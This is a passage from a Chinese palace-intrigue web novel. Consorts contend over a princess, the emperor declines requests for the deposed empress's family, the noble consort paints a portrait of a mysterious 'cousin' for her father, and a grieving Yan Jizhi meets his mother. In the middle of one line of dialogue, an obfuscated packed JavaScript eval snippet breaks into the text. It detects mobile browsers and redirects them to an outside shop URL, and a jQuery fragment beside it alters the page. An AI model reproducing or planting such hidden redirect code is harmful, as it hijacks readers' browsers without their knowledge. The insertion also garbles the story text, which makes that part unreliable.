果然都心思蔫坏得算计利用起人来毫不手软,翁美人心中冷哼,珍修仪是已经死掉了,可杭婕妤怎么可能只因珍修仪已死就把这笔仇恨放掉,虽然她在陛下面前没有含沙射影,但那不是陛下根本没给她含沙射影的机会么,杭婕妤肯定是要报复给忠毅伯府的。 但忠毅伯府是陛下生母的娘家,珍修仪活着的时候可不就仗着这关系在后宫中横行嘛,杭婕妤只靠自己怎么可能对抗得住忠毅伯府?那可不就得拉拢令愔夫人帮她么。 在场同批进宫且年岁相仿的三位年轻嫔御,算起来属翁美人心思最浅,她都看得明白,喻秀仪和倪芳华自是眼明心亮。喻秀仪轻瞥眼令愔夫人,又看向身侧的倪芳华。 倪芳华年方十九岁半,莹白如瓷的人儿犹如春花徐徐绽放,桃花娇,她更似杏花秀;她不比翁美人明艳照人也不比喻秀仪既妩媚又端庄,她美得清韵婉约,含蓄中藏着疏冷,论相貌或三人难分伯仲,而气质当属她最佳。 她收到喻秀仪的眼神,略略颔首。喻秀仪随即收回视线,当前虽然是倪芳华品阶最低,但进宫两年半以来也唯有倪芳华才让她觉得是个对手。 她们俩率先向杭婕妤告辞离开。翁美人看着羡慕,稍微郁闷下,捧着孕肚带着她带来的宫婢们随便招呼声就去找大公主,她可没兴趣和杭婕妤磨嘴皮。 “翁美人?翁美人?!”杭婕妤不敢相信她都还没应承,翁美人就敢闯婵娟馆硬来?!灵光电闪间想明白陛下的用意,翁美人现在是碰不得甚至争辩不得的孕妇啊,让翁美人带走大公主,除非有旨意作罢,否则哪怕是皇后和令愔夫人出面都别想拦住。 “夫人、夫人,夫人您帮帮我救救我啊!”杭婕妤流泪满面,死死抓着令愔夫人的手臂,浑身都像在诉着可怜和肝肠寸断的悲痛:“大公主是我的命根啊,我已经被害绝育了,陛下又厌弃我,若是再没了大公主可叫我还怎么活呀,夫人您可怜我救救我吧……” 令愔夫人又不傻当然看得明白,只是杭婕妤当前确实凄惨,她一时间真狠不下心拒绝,正犹豫着,一小宫女跑进殿来禀告:建威侯夫人来了。 归巢的燕雀掠过黄昏的光影落下片轻羽,晚霞伴彩蝶翩翩舞,夕阳红遍深宫金碧。 早两日前,皇帝就传令安排百戏贺三皇子生辰,顾念杭婕妤今日悲楚,皇帝走出婵娟馆后到底还是把礼乐给取消了。是故,三岁的小皇子只捧着收到的各式礼物和哥哥在草坪玩,皇帝的銮驾降临钟萃宫时他们正玩得不亦乐乎。 夕阳下,两个孩童追逐的欢声笑语当是皇宫中最纯真的喜悦了。 皇帝示意内监不必通传了,来到殿阁前见此童趣,同样示意在旁陪护的令愔夫人不必惊扰两个皇儿来接驾,他看皇儿们玩蹴鞠玩累了再带他们进殿休息。 “偏都是顽皮好玩又还没怎么学规矩礼仪的年纪,臣妾就怕由着皇儿们玩耍,不是磕着碰着就是出汗受凉要感染风寒,可想拘着他们些又总被孩子撒娇闹得没辙了。” “哥儿嘛,该顽皮些,若是养得文静娇惯才反而不好。”皇帝状似随意:“这镶宝石的彩球挺漂亮的,朕以前没见皇儿们玩过,谁送来的?有心了。” “是皇后娘娘送的。”令愔夫人笑道:“半月前大皇子想玩蹴鞠,建威侯府特意准备的;因大皇子还在卧榻调养伤势,皇后娘娘便将这彩球送给二皇子了。” 她略垂垂眼睑,打搅皇帝的雅兴:“陛下,说来,皇后娘娘的生辰也将近了。大皇子还在养伤,二公主年仅三岁多,皇后每日赶往长春宫服侍太后于照料儿女们到底多有不便,念在皇后生辰将近和儿女们的份上,您就帮皇后请个恩典吧。” 正徽帝嬴忱璧只注视前方玩兴正浓的皇子:“建威侯夫人还请爱妃帮什么忙了?” “还有选秀和皇后娘娘明年辞位后由谁来抚养两位嫡皇嗣。”令愔夫人也没甚要隐瞒:“建威侯夫人想让堂侄女、娘家侄女和姨甥女都进宫来,由她们抚养嫡皇嗣。” “要求真不少。”皇帝笑笑说:“爱妃不觉得皇后和她母亲实在有点不知分寸了吗?” 言外意,倘若你再帮着她们求情就是同样不知分寸了,可惜令愔夫人没有察觉这话外音更是真心赞成的:“陛下言重了,都是慈母心肠,皇后娘娘只是想将儿女们安顿好。” 正徽帝嬴忱璧沉默片刻让宫人们照看好两位皇子,带她去不远处的石桌前坐,宫娥们迅速奉上茶点瓜果后退远,皇帝端起茶盏抿口茶,不算含蓄甚至能算直白得叫她规避:“夫人善良心软是好的,可你的善良若是变成旁人拿你当枪使的软肋,对你就不好了。” “臣妾谢陛下提点,臣妾明白,但臣妾是自愿应承。”一股暖意涌进心田,令愔夫人明眸溢笑,语气不自觉柔情:“将心比心,若臣妾经受皇后的遭遇,定然也想在离宫前给皇儿们安排得面面俱到尽善尽美,恳请陛下体恤皇后的慈母心肠,就应允吧。” “将心比心?慈母心肠?”嬴忱璧清楚令愔夫人是真的没顾及到这是影射皇帝,可再清楚再习惯也会不耐烦,他按捺住情绪笑:“爱妃是还想帮杭婕妤求情吗?” “陛下明鉴。”令愔夫人应承道:“杭婕妤虽是有些心思计较,可疼爱大公主的心没错,当前她正是悲不自胜的煎熬时候,恳请陛下垂怜,让大公主回到她身边吧。” 嬴忱璧似被劝动般叹气:“翁美人快生了,就翁美人临盆前吧。” 令愔夫人高兴得谢恩再提议:“臣妾想,杭婕妤眼下悲痛难抑,不如陛下施恩让杭太太进宫陪伴女儿几日,既可助杭婕妤尽快走出伤痛又能彰显陛下的垂怜呀。” 嬴忱璧没兴趣追究是她们谁的主意就允了:“既然夫人这么说,就五日吧。” 令愔夫人再谢过恩复追问皇后的事,嬴忱璧端起茶盏再喝两口,保持和颜悦色地驳掉:“有贵妃在,若是越过贵妃,岂不是在打太后和贵妃的脸吗?夫人体谅皇后的慈母心,但也应该顾虑得周全些,皇后的想法和安排也未必就是好的。” “贵妃和皇后毕竟有隔阂在。”令愔夫人自然有顾及,可关注点不同也就没法苟同了:“贵妃自然不会怠慢皇嗣,可能否比皇后选定的人更尽心恐怕就有待商榷了,这养母到底是要选最能尽心的人才会既对嫡皇嗣好又能给皇后娘娘慰藉呀。” 嬴忱璧没接话,往石桌扫眼,拿筷夹块糯米糕递给令愔夫人,令愔夫人温柔接过,也给陛下递两块美味的糕点再请求陛下应允了吧,闹得嬴忱璧想沉默略过都没法:“哪怕朕答应把建威侯府安排的三名秀女选进宫,她们分位低,哪儿有资格抚养皇嗣?” “这有何难,陛下给出高位嫔妃的册封就是了。”令愔夫人善解人意道:“贵妃就是给予册封贵妃的旨意后以贵妃身份进宫,皇后娘娘的妹妹又有抚养嫡皇嗣的名义自然也当得起甫进宫就登高位,臣妾斗胆,想替建威侯府的姑娘向陛下求赐从一品娘娘的高位。” “这样吧——”嬴忱璧好险才忍住没愠怒,他无意理会建威侯府,只觉得令愔夫人管闲事管得连分寸都没了:“选秀,夫人帮着费费心,皇后和贵妃若有小争端,你帮忙调解些;若是大争端,你别掺和。其他的事,夫人就别再操心了。” “陛下?”令愔夫人想再争取可被皇帝拦住:“天快黑了,带皇儿们进殿用晚膳吧。” 廊前宫灯亮起,两名稚童蹦蹦跳跳奔向父皇和母妃。残阳余晖将尽,凝聚成日落前最后场重彩绚烂落在钟萃宫的雕梁画栋,复在满殿绮丽的尽头黯然泯灭。 第二日清早,钟萃宫派出两名内监前往杭家接杭太太进宫小住五日。杭家人问清情况,杭太太被震得头昏目眩,揣着侥幸跟着两名小太监进皇宫。 进入昭德门后,若不是宫道上不准跑,杭太太差不多都要跑起来了,她当然不想相信,可见到惨白脸病秧秧躺靠在床里的女儿,她烧得滚烫的心忽然就凉了。 “不是真的不是真的吧,他们跟娘说你被害绝育了不能再生养,娘咋能相信这种事咧;妮儿你跟娘说说那都是他们在瞎咧咧见不得咱们好,咋可能呢,你啥事没有对吧?” “是真的!”杭婕妤歪靠着软枕,眼神呆滞得仿佛麻木了:“是珍修仪一年多前做的,她查到我在私底下喝避子汤就把我的避子汤换成绝育汤了。” “不可能啊!”杭太太高声反驳:“那都是娘从宫外给你带的,她咋样能换得了?” “又不是您带进宫里来,我就喝掉了。”杭婕妤牵牵唇泛起点生气,不知是痛恨自己的粗心还是在嘲讽自己的松懈:“药材在婵娟馆里放着,她怎会没机会下手?” 杭太太怎么都不愿意相信的心揪起来:“妮儿你别吓娘,你真被害了?” “是真的,我不能再生养了。”杭婕妤眨眨眼,只觉得说出这几个字比咬到黄连还苦。 “天神老爷佛祖菩萨,黑心肝的,这是想把人害死啊!”杭太太不想相信都不行了,坐到床边又是心慌焦急又是悲苦担忧:“那可咋办,你就只有一个公主能管啥用啊? 在宫外,生不出儿子都是要命的事,更不要说你在皇宫里,要是没儿子,以后还不得谁都能欺负你吗,以后就靠个公主,你还咋过?不管咋说,你咋样也不能没个儿子啊。要不然娘给你找土方来试试,这病咋样都得治啊,说不得就能治好了呢,是吧?” 杭婕妤虽然不抱指望但也不想让母亲难受:“好,您找吧,什么偏方我都试。” “嗳嗳,好好好,妮儿你别怕别担心啊,土方都很管用的,咱以前村里,郎中治不好的病都是靠土方治,保管能给你治好好的。你肯定还能生,还能生好多好多个儿子……” “好,娘您放心,我晓得。”杭婕妤苦涩敷衍,杭太太又连说几个好,总算安抚住女儿,她的愤怒也终于再次升腾起来:“这事谁做来着?那个谁做的,陛下咋说,做出这种恶事,咋样也不能放过她,这、这咋样也得叫那人也不能再生了吧。” “她已经死了!”杭婕妤闭闭眼仍死气沉沉的:“两个月前,她就被赐死了。” 杭太太顿时被卡住:“啥,死掉啦?这,那,那咱们被她害得这么惨就、就算了?” “怎么能算?!” 杭婕妤倏然睁眼,好像只在这闭眼眨眼间她的病态和颓丧就消除了,她捏紧拳头捏得指节骨泛白,眼底的恨意触目惊心:“怎么能算了,忠毅伯府!” 安神香袅袅弥漫在宽敞雅香的寝阁,可惜能催人静心祥和的舒淡化不掉彻骨迷眼的恨,徒留窗台花瓶中的白石榴花枝在阴影中逐渐枯萎。 最近皇宫中关于已故珍修仪暗害杭婕妤绝育的流言传得甚嚣尘上,忠毅伯自是有耳闻,给杭婕妤请平安脉的两个太医还是他打点的呢,他就没当回事儿。 可昨日流言落实,忠毅伯府总还得摆摆态度;逢今日休沐,他便带上老妻进宫来就此事代已故的珍修仪向皇帝陈情,哪想皇帝竟然批复不见让外祖父母白白耗在昭德门前等。 “呦,伯爷老夫妇俩是特意来向杭婕妤赔罪吗?您可真是有心人,杭婕妤个小辈哪能让您两位加起来都一百二十多岁的老人家出面,本侯说您派个孙媳妇来就差不多了。” 忠毅伯听着险些脸黑,他不辩声音都猜得出是姓霍的,不用转身就知道是霍漓江,原本还想磨磨让戍卫的门将再跑去皇极宫通禀,这下都懒得再耗了宁可带老妻直接回家。 霍漓江丝毫不觉讨嫌地凑热闹:“伯爷何必急着走,本侯话还没说完呢,本侯劝伯爷还是别对选秀费心思了,瞧瞧已故珍修仪的做派,皇家哪儿还敢要您家的姑娘。” “哼!!”忠毅伯正要登马车,本来都懒得搭理姓霍的,可听到这种话实在不能不反击:“兴献侯怕是脑子糊涂了,陛下的生母就是我家出来的,是老夫的亲生女儿!” 霍漓江不咸不淡提醒:“是伯爷你老糊涂了,陛下是我妹妹当今霍太后抚养成人的。” 忠毅伯冷笑声懒得再和姓霍的啰嗦,坐进马车里,很快,他家马车就消失在昭德门前。 隅中的阳光窸窸窣窣落进皇城的金阙脊兽,重重飞檐铃铛响,采撷明媚投射五彩光辉。长春宫偏殿前淡淡紫桔梗烂漫笑,绿枝条拨着嫩叶,淡看天际云卷云舒。 霍漓江走到贵妃闺女落座的树荫石桌前,石桌上笔墨纸砚和颜料齐备,树荫四周都没个伺候的宫女,他很怀疑:“你不会是想男人还不够,你还想画男人来慰藉相思吧?” “对啦,我就是要画男人!”霍灵渠和爹爹打个哑谜,霍漓江抬手捂眼睛:“一个月前雄鹰赠给他大哥五个字,现在爹觉得你比海啸更适合这五字:你要没救了。” “我想晏霁之怎么啦,我觉得我能想在上半年内适应好没有他,我已经很不错了。”霍灵渠调好墨汁和颜料,伸手指指石桌上的吃食:“这是给您新备的,茶水糕点都热乎着呢,还有这盘温汤监培育的荔枝,我觉得是没有自然熟的荔枝好吃。” “你个丫头你还真做的出来啊你!”霍漓江重重数落:“你知不知道你爹和你姑母这几天提心吊胆,你祖父和你大哥天天想去把那混球剁碎,你大伯差点都拦不住了。” “我想他嘛,真的拒绝不了这种诱惑;而且我也有考量的,我可没被诱惑冲昏头脑。”霍灵渠给自己辩解:“是蜀王和姬太妃在暗中安排,若是出事了,他们也别想能逃脱罪责,所以他们定会很谨慎更会布置周密,我觉得我能够放心才跟他们出宫的。” 霍漓江给闺女个假笑让她自行体会,坐下倒杯茶喝又从果盘里剥颗荔枝吃。 “但危险是真的危险,我回宫当夜,皇帝居然突袭,还好我回来得及时否则就糟了。”霍灵渠心有余悸的跟她爹交流经验,她爹没好气地回给她个‘你还知道啊’的谴责眼神,她忽略掉老爹的谴责只问疑点:“爹,你清楚郭皇后的性情吗?” “大概知道,怎么啦?”霍漓江拿起只香甜的桃子咬,调调敷衍极了。 霍灵渠沉默下提笔作画,一心两用,专注作画之余叙述:“我回宫当夜,皇帝告诉我,祖母的哥哥老建威侯去世后,郭家仰赖霍家庇护;在两家撕破脸之前的十二三年,建威侯府若是遇到难处而霍家没有及时解决,郭家反而都能来刻薄霍家。” “对啊,就是这么无耻!” 霍漓江哀怨:“可偏偏又是你祖母的娘家,你大伯有孝心,带着你三叔和二哥任劳任怨,你爹爹我也还有点孝心就只好当做眼不见为净了。” “还有算计吧。”霍灵渠肯定:“当场听来我就觉得不对劲,咱家什么人家呀,怎么可能愿意供着这种亲戚,咱们给郭家的回馈就是郭皇后。皇帝说,郭皇后比娘家青出于蓝,最近有好事者劝她扳倒霍家,她反怒骂对方怎么就不知道帮她把事情办了。” 霍漓江抚掌大笑,年逾四十仍然精彩绝伦的眉眼间染满邪性:“真是咱家的宝儿、爹的宝贝女儿,你三叔和二哥给建威侯府鞍前马后那么多年就伺候了个假祖宗。” “毕竟是祖母的娘家,犯得着如此吗?”霍灵渠不明白:“霍家撒手又何妨,本就不是霍家的事,霍家帮郭家料理难处是重情义,可不帮才是本分呢。” “当时咱们家刚晋做后族,重情重义好看,至于最后会把建威侯府养出副什么嘴脸?”霍漓江嗤之以鼻:“我们又不是郭家的祖宗,还想让我们教他家怎么做人吗? 郭家没用,咱家好心好意念在亲戚的情面庇护他们,结果没两年,他们就当理所当然,扒着霍家想拿好处还想拿霍家当奴仆使,自己找上门犯无耻,这还不是欠教训吗? 是他们自家长歪的,若是他家没歪心思,霍家能把他们养歪吗?霍家都把陛下的正妻位送给郭家了,我们没想盼他们好吗,结果霍家得到了什么?” 霍漓江冷笑:“你姑母辛辛苦苦养大的儿子难道要霍家给别人做嫁衣吗,爹和你大伯难道不愿意和自己的外祖家和睦吗?可他们非得想踩着霍家,咱家还能客气吗?” “祖母清楚吗?”霍灵渠提笔蘸蘸墨汁,自问自答:“祖母不清楚。” “假若没有蓁蓁母女俩闹出要抢凤座这档事,霍家会在你祖母过世后对郭家撒手不管,瞒着你祖母到她老死也算儿孙们尽孝了。”霍漓江心安理得:“若非你爹我懒得搭理,若是他们不长眼敢到你爹我面前犯无耻,你祖母活着,爹爹我都乐得整死他们。” 霍灵渠手顿下,刚出轮廓的画像就被墨汁染花了,她搁下笔,抓起画纸揉成团放旁边,端起白茶盅喝两口茶,握笔,重新作画,再知会:“皇帝要废后了。” “等明年正月都等不得了?”霍漓江挑眉,随即悠哉调侃:“建威侯府还打量着送姑娘进宫来做淑妃抚养嫡皇嗣呢,眼下这淑妃位置还真惹眼,佟家和郭家都盯着。” “郭皇后的庶弟不是被京兆尹判褫夺秀才功名刑拘百日么。”霍灵渠专注作画,照本宣科般说:“当天夜里,陛下带着班丞相进椒房殿,亲耳听见,她在骂这个窝囊废怎么就不能早死早干净,省得天天碍着她的皇儿?! 皇帝说大半年前她就在私下痛骂,以前觉得她只是发泄被迫辞位的愤恨,仍给予宽容;这回想明白郭氏是真真切切只想盼他死好做皇太后,皇帝不肯再给宽恕了。” 霍漓江吃完鲜桃,幸灾乐祸飚风凉话:“用你大伯的话说,造孽啊!” “我向皇帝求情了。”霍灵渠暂且停笔,一心两用有点难:“皇帝答应在废后前,只要郭皇后没犯下更让他不能容忍的罪过,他可以只降罪郭皇后的父母和同母兄弟。” “行吧,毕竟是你祖母的娘家。”霍漓江随意,通知闺女:“咱家的族人们大概四月中旬能都抵京,你看是让族人进宫来拜见太后和贵妃还是你回家去见?”他不禁略感惆怅:“爹和你祖父想给贵妃请旨省亲,你离家那么多年,怪想让你回家住两天。” 霍灵渠莫名想退缩,一种近乡情更怯的退缩,她离家十六七年,十六七年呀,都足够她离家前尚未出生的弟弟妹妹们谈婚论嫁,足够她有成群的侄儿侄女满地跑;早已不复当年,她的家早已不复童年让她自在了,熟悉更陌生的家让她有种回家竟是客居的心酸。 “四月我要去皇陵拜祭,虽然我想去皇陵拜祭有私心但也真的想拜祭温献皇后他们。”霍灵渠下意识回避父亲的眼神:“本来早该去的,可我心情差,霁之病了,就耽搁了。现在我和霁之都好得差不多了,总不好再耽搁,您算算还能匀出空档吗?” 霍漓江看着闺女,没说话,像能觉察闺女的规避。霍灵渠打哈哈:“瞧您,四月没空又不是今后都没空了。对了,我生辰时您带桑柔和小祐来看我吧。” “你这妹妹的流言还没消停呢。”霍漓江拒绝,霍灵渠利索给解决方案:“那让雄鹰带,谁敢在雄鹰面前叽叽歪歪就让雄鹰挥拳头,若是雄鹰在皇宫里打伤人,算我的。” “行吧!”霍漓江闲着探探:“哎你们姐俩养的小娃到底是谁家的娃被你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459277|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐来了?” 霍灵渠立时提笔作画,刚因归家情怯的酸涩怅惘跑光光,还有心情挑剔她爹:“小祐是管你叫外祖父吧,你都四十多岁了,你还想嫌小祐把你叫老了吗?” 霍漓江摆谱:“你倒是乖觉,知道爹一眼就能猜出那小娃不会是你们姐妹的种,你妹妹还想跟爹爹我死犟呢,有用吗?你妹妹交代得差不多了,你也别藏着掖着了,说吧。” “你做爹爹的帮闺女们养两年娃娃怎么啦,又没让你白养,小祐都管你叫外祖父了。”霍灵渠谴责,当爹的哼哼反谴责:“别跟爹插科打诨,你爹我的重点是要知道这娃的身世,爹爹我总不能白白被个小娃叫外祖父还连他亲爹是谁都不知道吧?” “你认得小祐的亲祖父,但你认不认得小祐他爹,我就不知道了,您愿意猜就猜吧。”霍灵渠给点提示,霍漓江端杯茶恭维:“我闺女去摆摊猜字谜肯定能财源滚滚来。” “猜不出来怨提示不够,我爹若是去猜字谜肯定要遭嫌挨骂。”霍灵渠落下最后一笔,画作完成,心情不错地搁下笔吹吹墨迹,把画纸对折下盖住画像递给父亲请爹爹看。 霍漓江表示嫌弃:“你爹对于你画的情郎的画像没有兴趣。” 霍灵渠高兴公布答案:“不是霁之,是我表哥,我生母娘家的表哥。”她语毕,她爹差点被闺女傻懵:“爹和你阿姨都不知她娘家在哪儿还有什么人,我闺女怎么认的亲啊?” “表哥家中有稀世宝物能辨认出家族遗落在外的血脉。”霍灵渠眉目舒展,笑嘻嘻说:“表哥还知道我手臂上有胎记,我自己都不知呢,表哥说这胎记就是家族血脉的证据。” “……”找他闺女行骗,他都想夸夸行骗那货有眼光了。 霍漓江按住和闺女争辩的冲动接过画像瞧瞧,一眼看来觉得有些眼熟,细看两遍,认出画中人是谁惊得他手抖抖险些蹦起来,天爷啊是这混球?! 这是…这混球假冒灵渠生母娘家的表哥和灵渠认表兄妹?! 霍漓江一时觉得有点血脉逆流,这王八羔子居然跟他玩这种把戏:“灵儿,这表哥几时找过你,他都跟你说了些什么,你对他的情况知道多少?” “没多少,表哥连他的完整姓名都不肯告诉我,只说他叫阿胜。”霍灵渠哀叹:“因家族有祖传的稀世宝物遭外人觊觎恐会遭横祸,表哥对家族中事讳莫如深。” “表哥是大半年前、我大病场前找到我,我记得他说和族人住在西南眉州彭山,但霁之跟我说彭山被封山了;可能是我大病场后记忆模糊记岔了吧,不然年前我就去找表哥了。”霍灵渠自然道:“爹爹,你帮我把表哥找来吧,先往西南眉州找应该有线索。” 还算这混球有点数!霍漓江绷紧牙槽盯着画像假笑:“好,爹爹派人去找他。” “嗯嗯,对了,我想给桑柔和小祐做盒糕点。”霍灵渠没看出她爹有何异样,悦声叮嘱:“难得今日我心情还好,爹爹你别扫兴啊,你出宫时记得帮我把糕点带回去。” “好好,灵渠去做糕点吧,爹肯定会带给你妹妹。”霍漓江保持和悦把闺女送走,冲着画像在心底把这混球骂个狗血淋头,稍稍解解气后收起画像去找太后妹妹。 锦绣堆做的殿阁里玫瑰香随轻盈的纱帘悠扬,歌姬弹着琵琶唱曲儿,宫娥摇团扇扇风,霍太后慵懒靠在美人榻里听曲儿,还有皇后儿媳妇蹲在她腿边拿小锤给她捶腿。 兴献侯求见,霍太后方才坐起来,霍漓江进殿,说:“臣有事禀奏太后。” “皇后去小厨房做两盘糕点来吧,母后午膳想尝你亲手做的糕点。”霍太后懒懒挥手,霍漓江拦道:“贵妃正在长春宫的小厨房做甜点,皇后再过去怕是会嫌拥堵。” “二哥说的也有道理,那,皇后你就带人去掖庭给母后挤两壶羊乳来吧。” 郭皇后羞愤憋恨着应是告退,令她俏脸扭曲的表情,霍家兄妹俩看得清清楚楚;类似的表情几乎日日都会上演几场,郭皇后不知是掩饰不住还是都懒得再装腔了。 霍太后也懒得理她,把在殿内伺候的宫婢和歌姬遣退,问哥哥什么事啊,霍漓江就刚见的情景歪歪话题:“你给儿媳妇立规矩就给她立出那么副德行来?” “她又不长脑,她觉得被迫辞皇后位就是最坏的,再得罪我,她的处境也不会再坏了,她破罐破摔不在意让我看着她的恨意,我还能把她脑壳撬开来给她醒脑吗?” “我看你是真客气,优哉游哉地连个儿媳妇都管束不了了。”霍漓江把画像扔给她发飙:“霍宝鸾你去给我把他娘搞定,让他娘管住他们两个别再背着我耍花样了。” “这谁啊?”霍太后看眼画像没认出来,霍漓江对着妹妹可没有对闺女的耐心,闻言差点想骂她眼瞎:“谁呀?你说是谁,你好好仔细看看,难不成你没见过他吗?” 霍太后端详画像半响总算把人认出来,怪道:“嗳,你拿他的画像给我作甚?” 霍漓江恼得真想飚脏话:“这是灵渠刚给我画的!大半年前他就假冒灵渠生母娘家的人和灵渠认表兄妹,灵儿现在闹着想找表哥呢,你说他们一出接着一出的,想做什么?你去给我把他娘搞定让他们消停点,否则真闹出点什么事来对我们都没好处。” “我知道,我现在就去找那老女人!”霍太后说风就是雨的就要走,霍漓江忙把人拦住:“等等等等,宫里那么多双眼睛,没事都能生出点事来,我今日进宫来看妹妹和闺女,你反而没头没脑的去找她,不是平白让那些吃饱撑着的太妃瞎琢磨吗?等过几天!” “知道了!”霍太后憋恼的声音落地,殿外响起禀告:“太后,贵妃问您和侯爷想吃什么糕点,贵妃还问她有多少侄儿侄女?贵妃想给您和侯爷还有霍家老少都做块糕点。” 于是乎,霍漓江亲自去长春宫的小厨房,瞧着闺女和面傻乐,问她想做多少糕点? 霍灵渠眼眸亮晶晶的:“本来我是想给桑柔和小祐做糕点,再想应该给祖父祖母和爹爹姑母你们都备份,然后想给家里人都做盒糕点吧,反正我都做糕点了也不差多少。” “给陛下也备盒糕点。”霍漓江交代,霍灵渠不情愿:“我又不想讨好他,不用吧。” “没让你讨好皇帝,可贵妃做这么多糕点却独独漏掉皇帝的份,像话吗?”霍漓江问,霍灵渠郁闷抿抿唇,忽然灵光乍起冒出个念头,她瞥眼,虽然宫人们离得远但还是不放心地把小厨房中的宫人都遣退,悄悄对她爹耳语:“要不您帮我给霁之也送盒糕点吧?” 合着这才是你想做那么多糕点的目的啊!霍漓江给闺女回赠俩字:“呵呵!” 未时过半,午后的阳光也打起盹儿来,长春宫送到的贵妃亲自做的甜品也摆上御案了,正徽帝嬴忱璧知道贵妃今日兴致高昂,拿筷夹块奶糕尝尝,软软糯糯,真甜呀。 霍漓江带着贵妃给霍家老小做的大量糕点回府时,霍舒窈同样收到一食盒贵妃的糕点,送糕点的内监还明确表示过这是贵妃给堂姐和侄儿侄女们的,她也摆手表示过晓得了,然后做为孕妇食欲好,她边觉得妹妹在宫里闲得慌边把一食盒糕点都给吃完了。 晏霁之在城郊河畔会友,他对面的友人气质清润,坐轮椅,赫然是蒙侍郎的幕僚行知。 阳光落进河面泛出点点碎金,河畔两岸空旷得仿佛能将蔚蓝天盛下,一眼望不到尽头的绿茵青草舒展着抖擞,春末追逐夏初赶新篇,这是个呼吸都惬意的地儿。 “你要霍桑柔的画像,作甚?”晏霁之一袭青衫站在河畔瞭望,看过辽阔再转向眼前,行知慢条斯理取出信递给他:“我舅父的回信。” “见霍桑柔。”晏霁之讶然,建议道:“既然是你舅父让你见,你亲自走趟霍家又何妨;你和穆国公招呼声就是了,穆国公又不是不认识你。” “你觉得我舅父何意?京畿出这么多事,舅父居然回这样四字,我百思不得其解。” “看不懂,但霍桑柔最有价值的在于她姐姐。”晏霁之猜,行知不以为然:“霍贵妃最有价值之处也还要落到霍家,这不是多此一举吗?” “还可以在皇帝、甚至在魏王。”晏霁之莞尔,行知凝视他两息时间,顺他的思路问:“你莫非认为霍灵渠对这两位还能有棋子以外的用处吗?” 晏霁之笑得潋滟,粼粼激荡的湖面在这刻将他映衬得犹如置身事外的旁观者而非付出深情不能自拔的局中人:“皇帝对贵妃有真心,信不信在你。” 行知直白洞察他:“你有吗?养病一月、消瘦大圈,我都想相信你病了,你到底真病还是假病?对个魏王的细作,明知她想颠覆晏家也还能动情吗?” “可惜你家表弟失忆还没好。”晏霁之回敬,行知轻描淡写:“我表弟有未婚妻。” “只能管亲爹叫舅父,不怨吗?”晏霁之不吝啬地戳人家的痛处,行知被激起丝斗志:“见到霍桑柔,我会结识霍灵渠的,亲自见识这位让你明知是仇敌都能动情的贵妃。” 晏霁之点到为止:“你不是只为那四个字找我吧。” 行知目光炯然:“朝廷最近在调换北境的布防。” “突然间异动吗?”晏霁之问,行知点头:“皇帝想夺权,霍家和霍贵妃要报仇,该是朝堂的动荡怎会移到北境?我好像嗅到授康28年的气息了。” “知道了。”晏霁之按住猜疑说:“今夜我就回英王府了,这两日我就探探情况。” 行知推轮椅离开后,晏诺现身把霍家代贵妃送来的食盒交给主人,晏霁之愣了愣,接过食盒,看见放在食盒里的荷花酥,他拿筷夹块荷花酥尝尝,香糯的红豆沙偏涩了。 86. 第86章 时隔一月踏进他们昔日缱绻恩爱的寝屋,晏霁之独自站在屋中,夕阳的霞彩将他落寞的身影拉得格外凄清,他抬眸,仿佛还能看见霍灵渠将笑盈盈地倚向他。 苦涩滋长,晏霁之抬手按按眼眸几欲控制不住心中酸楚,他迈腿走到床前,躺进床榻里蜷缩起来假装还能抱着霍灵渠,他终于还是落到了连想骗骗自己已经适应好暂时没有霍灵渠的生活都骗不下去的境地。 寂寥的相思将落在窗台前的绚烂侵蚀渗暗,孤独在肆意游走之际,寝屋外一声请示胜似惊雷在床前炸响,晏霁之冷不防受惊,愣下后不由苦笑,拽过条锦被将自己裹裹,平复好,他闭闭眼尽量让自己没有鼻音:“告诉王妃,我一个时辰后去见她。” 屋外的脚步声走远消失,他拽下床幔,裹锦被蜷缩起来再做场自欺欺人的梦。 黑暗悄然蔓延吞噬,此时此夜的黑暗像是个熔炉能熔尽所有再锻造出只想展现的模样,晏霁之在黑暗中炼出完美的假面,洗漱过后,他换身张扬的红袍,衣冠楚楚走出屋。 岚瑟居的堂屋灯火通明,英王妃见到消瘦许多的儿子,虽然有心疼但稍纵即逝,快得好像对亲骨肉的疼爱都不曾存在过而只有生气训斥:“不就是没个女人,没个小妾也能值得你又告病假又躲起来不见爹娘,还闹腾整整一月,还像话吗?” 晏霁之端起描金牡丹的白瓷茶盅喝口茶,淡淡道:“爹等着见我。” 这样明显的请她说正事,英王妃能听不懂吗,正是听得懂才更生气:“你不能早些回,叫你见爹娘还得三催四请拖到快就寝了,你还不是故意的,你眼中还有父母吗?” 晏霁之秉持沉默是金,英王妃被气得再训斥,训斥几遍都没辙后只得改谈正事:“你爹最近老糊涂了,竟把中馈交给个侄媳妇打理,明日你就给娘把中馈拿回来。” “侄儿侄媳能在王府住多久,何必因这点事就和王爷起冲突。”晏霁之婉言劝:“你打理中馈也捞不到油水,你不打理中馈也没下人会怠慢你,今年就歇歇吧。” “可娘的颜面往哪儿放?”英王妃窝火:“若被外头知道咱家竟然由侄媳妇打理中馈,娘还能有脸见人吗?不行,你明日就得把中馈拿回来。” 晏霁之说:“凭霍贵妃曾是我的流光,英王府今年都缩起来等风声淡掉为好。” “还不是你个孽障惹的孽!”英王妃佟梦娴坚持道:“就算咱家今年少出门,家中是由个侄媳妇打理中馈,娘也没脸了,你必须把中馈给我拿回来。” “今年没心思。”晏霁之满脸倦懒,直把英王妃气得要跺脚:“你!!你个孽障,娘不是跟你商量,是命令你必须明日就给我把中馈拿回来。”说完,对上个死气沉沉装死样的儿子,任她怎么训骂都是副死样,恼得她只能把这事押后:“宫中要选秀了,知道吧?” “我又不参选。”晏霁之回复,回复得差点把英王妃给呛到:“说什么浑话呢!” 